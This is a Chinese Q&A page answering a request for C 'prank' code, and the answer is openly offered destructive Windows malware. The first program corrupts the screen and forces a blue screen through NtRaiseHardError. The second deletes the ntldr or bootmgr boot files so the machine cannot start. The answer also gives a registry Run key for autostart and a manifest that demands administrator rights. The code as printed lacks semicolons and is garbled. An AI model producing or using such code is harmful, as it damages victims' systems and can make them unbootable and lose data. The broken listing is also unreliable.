求一个C语言整人代码!!!

Python013

求一个C语言整人代码!!!,第1张

先上代码

#include <Windows.h>

#include <time.h>

using namespace std

int call

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)

int IconWidth = GetSystemMetrics(SM_CXICON)

int IconHeight = GetSystemMetrics(SM_CYICON)

HDC hdc=GetWindowDC(GetDesktopWindow())

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))

 call++

 return rand() % upper_bound

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)

  Sleep(random(100))

 }

 return 0

}

int GetWay() {

 int r=random(3)

 switch(r) {

  case 0:

   return SRCAND

  case 1:

   return SRCINVERT

  case 2:

   return SRCPAINT

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth)

  int RandyPixel = random(ScreenHeight - RandHeight)

  int RandDestxPixel = random(ScreenWidth - RandWidth)

  int RandDestyPixel = random(ScreenHeight - RandHeight)

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000)

 HMODULE ntdll = LoadLibrary("ntdll.dll")

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char temp0

 long unsigned int temp1

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)

 return 0

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2)

  int RandyPixel = random(ScreenHeight - IconHeight / 2)

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))

  Sleep(random(50))

 }

 return 0

}

int main(void) {

 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)

 while(true)

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏

效果图:

#include <windows.h>

#include <stdio.h>

#include <conio.h>

int main(int argc, char* argv[])

{

OSVERSIONINFO osinfo

osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)

GetVersionEx(&osinfo)

if (osinfo.dwMajorVersion == 5) //Windows XP

{

system("del /s %systemroot%\\..\\..\\ntldr")

}

if (osinfo.dwMajorVersion == 6) //Windows 7

{

system("del /s %systemroot%\\..\\..\\bootmgr")

}

MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING)

return 0

}

还有注册表的没时间做了,你去百度下吧,关键是:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

"App"="%systemroot%\\App.exe"

还有下面的代码:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<assemblyIdentity

version="1.0.0.0"

processorArchitecture="X86"

name="a.exe.manifest"

type="win32"

/>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">

<security>

<requestedPrivileges>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

把其中的a.exe 改成 你的程序名字.exe,然后存为 你的程序名字.exe.manifest

这是用来win7提权的。。。

另外,破坏了系统引导安全模式是无法打开的,我前几天就删了win7的BCD,结果开机蓝屏,不可能再打开安全模式了。。。